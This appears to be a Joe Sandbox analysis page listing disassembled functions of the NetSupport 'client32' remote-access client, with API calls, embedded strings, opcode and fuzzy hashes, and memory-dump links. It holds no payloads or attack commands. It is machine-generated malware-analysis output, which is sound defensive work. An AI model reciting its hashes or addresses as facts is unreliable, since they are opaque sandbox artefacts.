Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID: HandleIPC ret %x, took %d ms$IPC copydata, dw=%d, cb=%d, pv=x%x, sender=x%x (%d)$IPC, what=%d, msg=x%x, wP=x%x, lP=x%x, timeout=%d, sender=x%x (%d)$Warning. IPC msg but no wnd. Waiting...$Warning. IPC took %d ms - possible unresponsiveness
API String ID: 4250438611-314227603
Opcode ID: f0b4fd3c98b5580777bb38eafbc8a38d8b1eb00d735c0e8546a73c597d21ad9a
Instruction ID: 856ebef11915e97a845ae59ce9eeaf6af0a263cab1a7eb4eff15662075c9ff21
Opcode Fuzzy Hash: f0b4fd3c98b5580777bb38eafbc8a38d8b1eb00d735c0e8546a73c597d21ad9a
Instruction Fuzzy Hash: FA21E6BAE11514AFD710CE59ECC4EABB3EDEBC8368F408529EC4A83244D531AC40DBA5

Function 11009480 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 92fileCOMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 110094BA
_strncmp.LIBCMT ref: 110094CA
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,82E0FB89), ref: 1100956B

Strings

https://, xrefs: 110094AF
IsA(), xrefs: 11009525, 1100954D
http://, xrefs: 110094B5, 110094C8
<tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td , xrefs: 110094F1
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 11009520, 11009548

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp$FileWrite
String ID: <tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td $IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$http://$https://
API String ID: 1635020204-3133059256
Opcode ID: b11a3e4c238259d2fbc588d12090e526e1a57e1cc9220299ac93f4f0d3e75ca9
Instruction ID: f49766fd7765917b195ffb41f19f8f79b4adc18e23b7e5197df46bfb74996d4c
Opcode Fuzzy Hash: b11a3e4c238259d2fbc588d12090e526e1a57e1cc9220299ac93f4f0d3e75ca9
Instruction Fuzzy Hash: 8B318B7AE0061AABDB11DF85CC44FDEF7B8FF49654F008158F815A7280EB34AA04CBA1

Function 1110B730 Relevance: 13.7, APIs: 9, Instructions: 156COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 1110B7AA
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 1110B7BC
GetSystemMetrics.USER32(00000002), ref: 1110B7CA
GetSystemMetrics.USER32(00000003), ref: 1110B7DF
GetSystemMetrics.USER32(0000004E), ref: 1110B829
GetSystemMetrics.USER32(0000004F), ref: 1110B833
GetSystemMetrics.USER32(00000000), ref: 1110B846
GetSystemMetrics.USER32(00000001), ref: 1110B859
GetWindowRect.USER32(?,?), ref: 1110B8C6

Part of subcall function 1108E4D0: GetSystemMetrics.USER32(0000004C), ref: 1108E4DE
Part of subcall function 1108E4D0: GetSystemMetrics.USER32(0000004D), ref: 1108E4E7
Part of subcall function 1108E4D0: GetSystemMetrics.USER32(0000004E), ref: 1108E4EE
Part of subcall function 1108E4D0: GetSystemMetrics.USER32(00000000), ref: 1108E4F7
Part of subcall function 1108E4D0: GetSystemMetrics.USER32(0000004F), ref: 1108E4FD
Part of subcall function 1108E4D0: GetSystemMetrics.USER32(00000001), ref: 1108E505

Part of subcall function 1108E460: _memset.LIBCMT ref: 1108E48F
Part of subcall function 1108E460: FreeLibrary.KERNEL32(00000000,?,75A44920,1110B942,00000002), ref: 1108E49A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Window$Rect$FreeLibraryPoints_memset
String ID:
API String ID: 314733930-0
Opcode ID: d7eadc563fd8f1edf11073224b815364cadfebc45bd2c66acbb8496d4c6402ae
Instruction ID: 2a0a03e10d028b360f6a22ee55a987c1a255e6312d7f70e3124523d6712918fa
Opcode Fuzzy Hash: d7eadc563fd8f1edf11073224b815364cadfebc45bd2c66acbb8496d4c6402ae
Instruction Fuzzy Hash: 2C610B75D0066A9FDB14CF68C984BEDF7F4FB48704F0045AAD91AA7284DB70AA84CF90

Function 110C3120 Relevance: 13.6, APIs: 9, Instructions: 89windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11102BC0: GetCurrentThreadId.KERNEL32 ref: 11102BCE
Part of subcall function 11102BC0: EnterCriticalSection.KERNEL32(00000000,75A33760,00000000,111DBD28,?,110C3135,00000000,75A33760), ref: 11102BD8
Part of subcall function 11102BC0: LeaveCriticalSection.KERNEL32(00000000,75A4A1D0,00000000,?,110C3135,00000000,75A33760), ref: 11102BF8

EnterCriticalSection.KERNEL32(00000000,00000000,75A33760,00000000,75A4A1D0,1105952B,?,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C313B
SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110C3168
SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110C317A
LeaveCriticalSection.KERNEL32(?,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C3184
IsDialogMessageA.USER32(00000000,?,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C319B
LeaveCriticalSection.KERNEL32(00000000,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C31B1
DestroyWindow.USER32(00000000,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C31C1
LeaveCriticalSection.KERNEL32(?,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C31CB
LeaveCriticalSection.KERNEL32(?,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C31E1

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Message$EnterSend$CurrentDestroyDialogThreadWindow
String ID:
API String ID: 1497311044-0
Opcode ID: 6191cf186c74ae9112f6ea8ce94e4a318c72d3598519386d6d3182dab2fc4e7e
Instruction ID: 3c1e887d7967a67240c1c164b22fb9d4592e7ef048b6f648851657ace213bb1e
Opcode Fuzzy Hash: 6191cf186c74ae9112f6ea8ce94e4a318c72d3598519386d6d3182dab2fc4e7e
Instruction Fuzzy Hash: 9821C436B15214AFE711DFA8EC84BDEB7B8EF86765F1440A5F909DB240D771A9008BE0

Function 1100D390 Relevance: 13.6, APIs: 9, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,111838B8), ref: 1100D3A4
GetProcAddress.KERNEL32(00000000,111838A8), ref: 1100D3B8
GetProcAddress.KERNEL32(00000000,11183898), ref: 1100D3CD
GetProcAddress.KERNEL32(00000000,11183888), ref: 1100D3E1
GetProcAddress.KERNEL32(00000000,1118387C), ref: 1100D3F5
GetProcAddress.KERNEL32(00000000,1118385C), ref: 1100D40A
GetProcAddress.KERNEL32(00000000,1118383C), ref: 1100D41E
GetProcAddress.KERNEL32(00000000,1118382C), ref: 1100D432
GetProcAddress.KERNEL32(00000000,1118381C), ref: 1100D447

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 6cfae3bc05f78b54d57e16c39f9828ee7bdb482090c8a32c341ca59fd490a75c
Instruction ID: 1d850f4dc722c529ab0345deb5e5c80d8d70567c8a52cd3e1e9a14db29bad8e3
Opcode Fuzzy Hash: 6cfae3bc05f78b54d57e16c39f9828ee7bdb482090c8a32c341ca59fd490a75c
Instruction Fuzzy Hash: 4D31BEB1922630AFEB11CB65C8D8B5AF7E9A34C348F05827ADC298365CD7749441CF62

Function 11045030 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 327windowtimeCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110450E1
_malloc.LIBCMT ref: 1104517D
_memmove.LIBCMT ref: 110451E2
SendMessageTimeoutA.USER32(?,0000004A,0001042A,00000005,00000002,00002710,?), ref: 11045242
_free.LIBCMT ref: 11045249

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Part of subcall function 11041AF0: _free.LIBCMT ref: 11041B77
Part of subcall function 11041AF0: _free.LIBCMT ref: 11041B97
Part of subcall function 11041AF0: _strncpy.LIBCMT ref: 11041BC5
Part of subcall function 11041AF0: _strncpy.LIBCMT ref: 11041C02
Part of subcall function 11041AF0: _malloc.LIBCMT ref: 11041C3C

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h, xrefs: 11045167, 1104519E, 110451CA, 11045208
IsA(), xrefs: 1104516C, 110451A3, 110451CF, 1104520D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$Message_malloc_strncpy$ErrorExitLastProcessSendTimeoutWindow_memmovewsprintf
String ID: IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h
API String ID: 3960737985-2967710367
Opcode ID: f331cf77ee246184c656352fa7ac13d13ab4c8c0cd8c648676b23c116166795e
Instruction ID: 815efef73f6f8acdca62cf46f73826a5586355b94afe20fa4b17fb913d10d18d
Opcode Fuzzy Hash: f331cf77ee246184c656352fa7ac13d13ab4c8c0cd8c648676b23c116166795e
Instruction Fuzzy Hash: C9C18374E006069FDB04DFA4C8D0EDEF7F5BF89308F208169E51AAB695DB71A905CB90

Function 1103B500 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103B593
_memset.LIBCMT ref: 1103B5A1
_memmove.LIBCMT ref: 1103B5AE

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Part of subcall function 1103B280: Sleep.KERNEL32(000001F4,00000000,?,00000000,-111D903C), ref: 1103B2B1

Part of subcall function 11027FB0: _strrchr.LIBCMT ref: 110280A5
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 110280E4

Strings

IsA(), xrefs: 1103B544, 1103B573, 1103B5D2, 1103B608, 1103B651, 1103B6BE, 1103B717, 1103B7A1, 1103B7D4, 1103B83E, 1103B875
PF%sinclude:*exclude:, xrefs: 1103B662
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1103B53F, 1103B56E, 1103B5CD, 1103B603, 1103B64C, 1103B6B9, 1103B712, 1103B79C, 1103B7CF, 1103B839, 1103B870
redirect:, xrefs: 1103B678

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$ErrorLastMessageSleep_malloc_memmove_memset_strrchrwsprintf
String ID: IsA()$PF%sinclude:*exclude:$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$redirect:
API String ID: 3725223747-631189234
Opcode ID: 97c419585ee3fcaf63ce288ecccf3252d882957436c914527fee62abe19327b8
Instruction ID: af3a808404833258c6c9d3225ee65622eb91d499294cf0e06ea5ce819489668e
Opcode Fuzzy Hash: 97c419585ee3fcaf63ce288ecccf3252d882957436c914527fee62abe19327b8
Instruction Fuzzy Hash: F8B1D338E00A1B9FDB05DF59DC94BDEF7B6BF8920CF008154E91067685EB31AA04CBA1

Function 1106B4C0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

std::exception::exception.LIBCMT ref: 1106B563
__CxxThrowException@8.LIBCMT ref: 1106B578

Part of subcall function 11082CA0: _memset.LIBCMT ref: 11082CBF
Part of subcall function 11082CA0: InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,1106B543,00000000,00000000,1117066E,000000FF), ref: 11082D30

Strings

Find, xrefs: 1106B5A8

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset$CriticalException@8InitializeSectionThrow_mallocstd::exception::exceptionwsprintf
String ID: Find
API String ID: 523791932-1771883322
Opcode ID: 8862f12f142f7f17eb3423287ecf04bd00d845d2771b8a10e84e4ddae85b51a2
Instruction ID: 5db3a692f28a1e7eabe5ce6be605795cb1bc4f4b77a9999ad3559537c86c9e21
Opcode Fuzzy Hash: 8862f12f142f7f17eb3423287ecf04bd00d845d2771b8a10e84e4ddae85b51a2
Instruction Fuzzy Hash: 17B16DB5E006099FDB10CFA8C880AAEBBF8FF48314F14456EE416A7340EB75A901CB61

Function 11041740 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119windowtimeCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 11041778
_malloc.LIBCMT ref: 110417D7
_memmove.LIBCMT ref: 1104183C
SendMessageTimeoutA.USER32(?,0000004A,0001042A,00000003,00000002,00002710,?), ref: 1104189C
_free.LIBCMT ref: 110418A3

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h, xrefs: 110417C1, 110417F8, 11041824, 11041862
IsA(), xrefs: 110417C6, 110417FD, 11041829, 11041867

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendTimeoutWindow_free_malloc_memmovewsprintf
String ID: IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h
API String ID: 3610575347-2967710367
Opcode ID: 8c3cde6af5e7ac33c6be17841e90698f9797ef0f485e2b0be620b879412e99c7
Instruction ID: 5f847ffeaf8ab7aa20607dcdf657b4052752ec8b68bbbdfc22ac1d27c6574067
Opcode Fuzzy Hash: 8c3cde6af5e7ac33c6be17841e90698f9797ef0f485e2b0be620b879412e99c7
Instruction Fuzzy Hash: BF416F75E0051AAFDB05CF95EC80EDDF3B4BF58718F108269F825A7694EB30A605CB91

Function 110F9400 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 110threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

CreateThread.KERNEL32(00000000,00000000,110E9400,00000000,00000000,00000000), ref: 110F94CD
WaitForSingleObject.KERNEL32(00000000,000000FF,?,1104A1B3), ref: 110F94D8
GetExitCodeThread.KERNEL32(00000000,FFFFFFFF,?,1104A1B3), ref: 110F94E3
CloseHandle.KERNEL32(00000000,?,1104A1B3), ref: 110F94EA
SetLastError.KERNEL32(00000000,?,1104A1B3), ref: 110F9534

Part of subcall function 110F8E80: _free.LIBCMT ref: 110F8F24
Part of subcall function 110F8E80: _malloc.LIBCMT ref: 110F8F37
Part of subcall function 110F8E80: _memmove.LIBCMT ref: 110F8F53

Strings

Client, xrefs: 110F9496
OldLogonUser, xrefs: 110F9491

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Thread_malloc$CloseCodeCreateErrorExitHandleLastObjectSingleWait_free_memmove_memsetwsprintf
String ID: Client$OldLogonUser
API String ID: 2273177647-3714759566
Opcode ID: c749c10b528402f76e781cde6db9bcf01e9e5f43c0efe7e3d428c594cd5ae9c0
Instruction ID: 2f702813f4b4ab6c25c38db0d8a5041f92371cc8998c0e340031248ecbe83333
Opcode Fuzzy Hash: c749c10b528402f76e781cde6db9bcf01e9e5f43c0efe7e3d428c594cd5ae9c0
Instruction Fuzzy Hash: 624135B5D0561A9FDB00DFA4C845BEEB7F4EB49324F104619F925A7380EB34A500CBA1

Function 1100F380 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100F3AD
std::_Lockit::_Lockit.LIBCPMT ref: 1100F3D0
std::bad_exception::bad_exception.LIBCMT ref: 1100F454
__CxxThrowException@8.LIBCMT ref: 1100F462
std::_Lockit::_Lockit.LIBCPMT ref: 1100F475
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100F48F

Strings

bad cast, xrefs: 1100F44C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

